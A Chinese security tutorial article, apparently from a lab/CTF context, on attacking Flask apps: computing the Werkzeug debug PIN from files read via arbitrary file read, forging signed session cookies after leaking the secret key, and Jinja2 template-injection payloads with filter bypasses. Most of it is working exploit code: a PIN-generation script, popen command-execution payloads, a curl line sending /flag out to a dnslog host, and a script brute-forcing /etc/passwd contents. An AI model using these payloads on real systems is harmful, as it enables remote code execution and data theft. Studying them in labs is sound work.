本文首发于“合天智汇”公众号 作者:HhhM
最近跑了培训写了点flask的session伪造,没能用上,刚好整理了一下先前的资料把flask三种考过的点拿出来写写文章。
本地先起一个开启debug模式的服务:
# -*- coding: utf-8 -*- from flask import Flask app=Flask(__name__) @app.route("/") def hello(): return 'hello world!' if __name__=="__main__": app.run(host="0.0.0.0", port=8080, debug=True)
本机启动时会打印出如下:
Use a production WSGI server instead. * Debug mode: on * Restarting with windowsapi reloader * Debugger is active! * Debugger PIN: 284-467-555 * Running on http://0.0.0.0:8080/ (Press CTRL+C to quit)
多次启动会发现打印的PIN码是相同的,分析源自参考链接,可以得出debug pin由六个值决定:
也就是我们如果能够伪造这六个值我们就能够生成一个一模一样的PIN码了。
而要获取这六个值我们可以通过任意文件读取来获得,因此本地写一个文件读取的漏洞点,并且为了方便写一个报错页面,放docker上启动:
# -*- coding: utf-8 -*- from flask import Flask, request app=Flask(__name__) @app.route("/") def hello(): return Hello['a'] @app.route("/file") def file(): filename=request.args.get('filename') try: with open(filename, 'r') as f: return f.read() except: return 'error' if __name__=="__main__": app.run(host="0.0.0.0", port=8080, debug=True)
直接访问即可:
http://172.19.75.19:30000/file?filename=/etc/machine-id 32e48d371198e8420c53b0a1fa37e94d
http://172.19.75.19:30000/file?filename=/sys/class/net/eth0/address 02:42:ac:11:00:02 print(0x0242ac110002) 2485377892354
使用脚本即可获得pin码:
import hashlib from itertools import chain probably_public_bits=[ 'root',# username 'flask.app',# modname 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None), ] private_bits=[ '2485377892354',# str(uuid.getnode()), /sys/class/net/ens33/address '32e48d371198e8420c53b0a1fa37e94d'# get_machine_id(), /etc/machine-id ] h=hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit=bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name='__wzd' + h.hexdigest()[:20] num=None if num is None: h.update(b'pinsalt') num=('%09d' % int(h.hexdigest(), 16))[:9] rv=None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size==0: rv='-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv=num print(rv)
得到:
284-995-758
在debug页面输入后成功执行代码。
p神文中提到一个客户端session,flask中的session是存放在cookie中的,那么cookie中的字段在客户端访问时是可以被修改的,这就是客户端session,像php的session是存放在服务器中的,django的session可以存放在数据库中,也可以以文件形式存放在服务器中。
而flask的客户端session需要解决的就是防篡改问题,p神总结出来为以下四点:
因此,防篡改的功能位于第四步,也就是签名,在前面学过jwt感觉是差不多的,签名不对的话服务端是无法通过验证的。
写一个flask应用后给session赋值(非正式写法):
from flask import session session['user']='tom'
可以看到cookie中是有这么一段东西:
session=eyJ1c2VyIjoidG9tIn0.XzVf_w.Is2SqC_MS8NIBynok5BQpmldBLI
解密后我们看到:
前半截是一个json串,后半截就是一个签名了,倘若有一个ssti,我们通过如{{config}}读取到密钥,那么就可以通过flask-session脚本来伪造session,替换上cookie之后即可达成session伪造。
通过ssti获取到密钥:
http://127.0.0.1:8080/?a={{config}}
抓包获取session,解密取得格式。
工具伪造session:
$ python3 flask_session_cookie_manager3.py encode -s 'hello world' -t '' eyJ1c2VyIjoiYWRtaW4ifQ.Xzqkag.jq8cU *** NeQYVZiH-2Fe3cAfECk4
替换后:
老生常谈的问题,一直没总结,稍微写写。
先前对于ssti的理解不是很清晰,只会解一些稍简单的ssti,前段时间想出个flask的ssti才发现原来并不是模板中的变量可控就会导致模板注入,一个典型的模板注入如下:
from flask import Flask, render_template_string, request app=Flask(__name__) @app.route('/', methods=['GET', 'POST']) @app.route('/index', methods=['GET', 'POST']) def index(): template=''' <div> <h3>%s</h3> </div> ''' % (request.url) return render_template_string(template)
此种形式存在着变量可控的,同时使用了一个不固定的模板,此时就造成了一个ssti,应该认识到的是实际场景很少有ssti的漏洞,因为像这样写模板如果代码量少的话确实方便,但代码量多的话都会写成下面的形式了:
def index(): return render_template("index.html",title='Home',user=request.args.get("user"))<html> <head> <title>{{title}}</title> </head> <body> <h1>Hello, {{user.name}}!</h1> </body> </html>
这种情况下是模板先渲染后我们再传入变量,此时代码是安全的;那么目前主题是ssti,当然要继续以不安全的代码来测试一下ssti :),为方便测试我们对之一套代码再作修改:
from flask import Flask, render_template_string, request app=Flask(__name__) app.secret_key="hello world" @app.route('/', methods=['GET', 'POST']) @app.route('/index', methods=['GET', 'POST']) def test(): template=''' <div> <h3>%s</h3> </div> ''' % (request.args.get("a")) return render_template_string(template) if __name__=='__main__': app.debug=True app.run()
运行,传入路由:
http://127.0.0.1:5000/?a={{7*7}}
发现输出49,此时就说明了能够被利用来进行ssti的测试;那么前面学习session伪造时所需要的密钥就可以通过config读到:
http://127.0.0.1:5000/?a={{config}}
那么此处无论是采用%s、format或是其他形式的格式化字符串都好,只要我们的模板在被渲染之前就存在着某处可控,那么就存在着ssti的风险。
以前稍微学过,再做个复习。
默认的,所有类追溯回去都能是有着一个object类,因为两个py版本下会有差别,所以分两个py版本进行测试。
之一步先通过一个对象获取到对应的类。
#-*- coding:utf-8 -*- #__author__: HhhM class MyownClass(): def __init__(self): self.name="a" print(MyownClass().__class__) print("".__class__) print([].__class__) """ out: <class '__main__.MyownClass'> <class 'str'> <class 'list'> """
可以看出来__class__是返回该对象所对应的类,下一步拿到基类,也就是object:
print(MyownClass().__class__.__base__) print("".__class__.__base__) print([].__class__.__base__) """ out: <class 'object'> <class 'object'> <class 'object'> """
那么这里也能得到__base__的作用,获得其是获得类所继承的类,可以看到构造出来是一样的类(object),那么我们写一个继承类看看__base__输出什么:
#-*- coding:utf-8 -*- #__author__: HhhM class MyownClass(): def __init__(self): self.name="a" class MyownClass1(MyownClass): def __init__(self): self.name="a" print(MyownClass1().__class__.__base__) print(MyownClass1().__class__.__base__.__base__) """ out: <class '__main__.MyownClass'> <class 'object'> """
所以我们拿到一个继承类时可以通过base来层层回溯获取到object类,获取到object类后继续:
print("".__class__.__base__.__subclasses__()) print("".__class__.__bases__[0].__subclasses__()) """ out: [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>,....] """
__subclasses__获取的是当前类的子类列表,那么我们对应上面有继承关系的MyownClass这个类获取到的则是:
[<class '__main__.MyownClass1'>]
通过object类获取到的是一个列表,因此可以通过列表取值的方式获取到我们需要的类,然而会发现类太多了,找到了我们要的类也不知道他处于列表的哪个位置,可以简单写个脚本跑一下:
#-*- coding:utf-8 -*- #__author__: HhhM import json a=""" <class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'> """ num=0 allList=[] result="" for i in a: if i==">": result +=i allList.append(result) result="" elif i==" " or i==",": continue else: result +=i for k,v in enumerate(allList): if "os" in v: print(str(k)+"--->"+v)
我在128取到了<class 'os._wrap_close'>,我们通过调用它的__init__ *** 进行初始化类:
print("".__class__.__base__.__subclasses__()[128].__init__) """ <function _wrap_close.__init__ at 0x016E9A50> """
通过调用globals可以获取到类内存在的 *** 、属性等值:
print("".__class__.__base__.__subclasses__()[128].__init__.__globals__)
会发现是一个字典,因此我们只需要找到其内存在我们需要的值对应的键之后取值即可。
python3中没有file对象,但还有open,因此有:
print("".__class__.__base__.__subclasses__()[128].__init__.__globals__["open"]) """ <built-in function open> """
此时取到的open我在本地测试时会报错,网上提示是被os的open模块覆盖了,测试后可以如下取到:
print("".__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']["open"]("2.py").read())
可以看出来各个环境下具体情况也会有区别,本地测试通远程不通大多是这个原因了吧,倒是个需要记住的点。
还有个popen可以执行命令:
print("".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']("dir").read())
本地测试的话可以写个脚本跑跑有什么可以用的,像找能够构造出eval的类:
for i in "".__class__.__base__.__subclasses__(): try: i.__init__.__globals__['__builtins__']["eval"]("__import__('os').popen('dir').read()") print(i) except Exception: pass
会发现的是只要拥有__builtins__的就可以构造出来。
os模块也能如此利用:
"".__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('whoami').read()
py3了解之后再回看py2会明了的多,首先是字符串取基类,我发现就是以py3的payload取:
print("".__class__.__base__) print(().__class__.__base__) """ out: <type 'basestring'> <type 'object'> """
str类需要再套一层base才能取到object类,而其他内置类不需要。
然后找链的过程就大同小异了,py2区别py3的说就有一个file类,可以直接用来读写文件了,用上面的脚本跑出file对象对应的位置。
# 读 print(().__class__.__base__.__subclasses__()[40]('2.py').readline()) print(().__class__.__base__.__subclasses__()[40]('2.py').readlines()) # 写 print(().__class__.__base__.__subclasses__()[40]('2.py').write('context'))
下面环境皆以py3.7作为测试环境,起个docker,发现os._wrap_close处在第35的位置。
过滤base之后还可以用mro:
class MyownClass(): def __init__(self): self.name="a" class MyownClass1(MyownClass): def __init__(self): self.name="a" print("".__class__.__mro__) print(().__class__.__mro__) print(MyownClass1().__class__.__mro__) """ out: (<class 'str'>, <class 'object'>) (<class 'tuple'>, <class 'object'>) (<class '__main__.MyownClass1'>, <class '__main__.MyownClass'>, <class 'object'>) """
包含了整条的继承链,可以看到的是object一直处于最末,直接取-1即可:
print(().__class__.__mro__[-1])
取到object类后接下来的操作就一毛一样了。
也可以用拼接:
print(().__class__['__ba'+'se__'])
拼接:
{{()['__cla'+'ss__'].__mro__[-1]}}
这四个都是flask的内置对象,通过他们我们就可以获取到object类了,拼接绕过的话是可以绕过大部分过滤的了。
如果这里mro被过滤了则可以尝试用base一层一层溯源到object类
利用__getitem__可以取第n位,如:
http://127.0.0.1:5000/?a={{().__class__.__mro__.__getitem__(-1)}}
也可以用pop弹出列表第n位:
{{().__class__.__base__.__subclasses__().pop(-1)}}
可以考虑使用判断语句:
http://127.0.0.1:5000/?a={% if "".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']("curl `cat /flag`.z2yw9j.dnslog.cn").read()=='test' %}1{% endif %}
无回显可用curl外带。
依旧拼接大法:
{
感觉吧,只要没过滤加号就能拼接绕过。
前面的话是构造获取需要的 *** 链时的一个绕过,这里的话就是在命令执行时的绕过,主要是chr函数起的作用,像php或者是nodejs也有类似的玩法,chr()字符拼接达成绕过。
主要是从含有builtins的类中获取到chr函数,如下:
"".__class__.__base__.__subclasses__()[35].__init__.__globals__['__builtins__']['chr']
模板语言还是不弱的,我们可以用来设置值简化payload长度同时进行绕过:
{% set c="".__class__.__base__.__subclasses__()[35].__init__.__globals__.__builtins__['chr'] %}{
过滤引号的话同样可以用chr来绕过传参时所需要的引号,只需要将先前的链中取值方式略作修改即可,取chr
{{().__class__.__base__.__subclasses__()[35].__init__.__globals__.__builtins__.chr}}
则执行命令为:
{% set c=().__class__.__base__.__subclasses__()[35].__init__.__globals__.__builtins__.chr %}{{().__class__.__base__.__subclasses__()[35].__init__.__globals__.popen(c(119)%2bc(104)%2bc(111)%2bc(97)%2bc(109)%2bc(105)).read()}}
因为flask中存在着request这个内置对象,所以我们也可以利用request来绕过。
在使用模板时,当存在{{request.args.test}},在我们传入?test=asd时即可指定其值为asd,并且默认的为字符串类型,我们可以借此来达成绕过引号。
如:
?a={{().__class__.__base__.__subclasses__()[35].__init__.__globals__.popen(request.args.cmd).read()}}&cmd=ls
事实上如果request对象没被过滤的话,我们可以用此种方式绕过绝大部分过滤。
这个 *** 是从p0师傅的博客中看到的,就是利用if语句返回值来判断语句是否为真,然后从输出值来判断结果。
py2的话可以用file对象,py3则可以用open。
#-*- coding:utf-8 -*- #__author__: HhhM import requests url='http://172.23.129.221:12339/?a=' def check(payload): r=requests.get(url+payload).content return 'hhhm' in r password='' s=""" 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!$'()*+,-https://www.freebuf.com/articles/network/:;<=>?@[\]^`{|}~"_% """ for i in range(0,100): for c in s: payload='{% if ().__class__.__base__.__subclasses__()[35].__init__.__globals__.__builtins__.open("/etc/passwd").read()['+str(i)+':'+str(i+1)+']=="'+c+'" %}hhhm{% endif %}' if check(payload): password +=c break print password
还有一个替代的__enter__,同样的有paylod:
{{().__class__.__base__.__subclasses__()[35].__enter__.__globals__.__builtins__.open("/etc/passwd").read()}}
甚至还有另一个__exit__同样可以替代:
{{().__class__.__base__.__subclasses__()[35].__exit__.__globals__.__builtins__.open("/etc/passwd").read()}}
简单易懂,py2下可以不过py3因为其字符为unicode编码,需要进行转码。
{{().__class__.__base__.__subclasses__()[35].__exit__.__globals__.__builtins__.open("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64')).read()}}
配套docker已发布于github:https://github.com/a756379684/flask-sec-docker
参考自:
https://xz.aliyun.com/t/2553
https://www.leavesongs.com/PENETRATION/client-session-security.html
https://xz.aliyun.com/t/7746
https://p0sec.net/index.php/archives/120
Flask服务端模板注入漏洞
https://sourl.cn/dyS7CC
(通过该实验了解服务端模板注入漏洞的危害与利用。)
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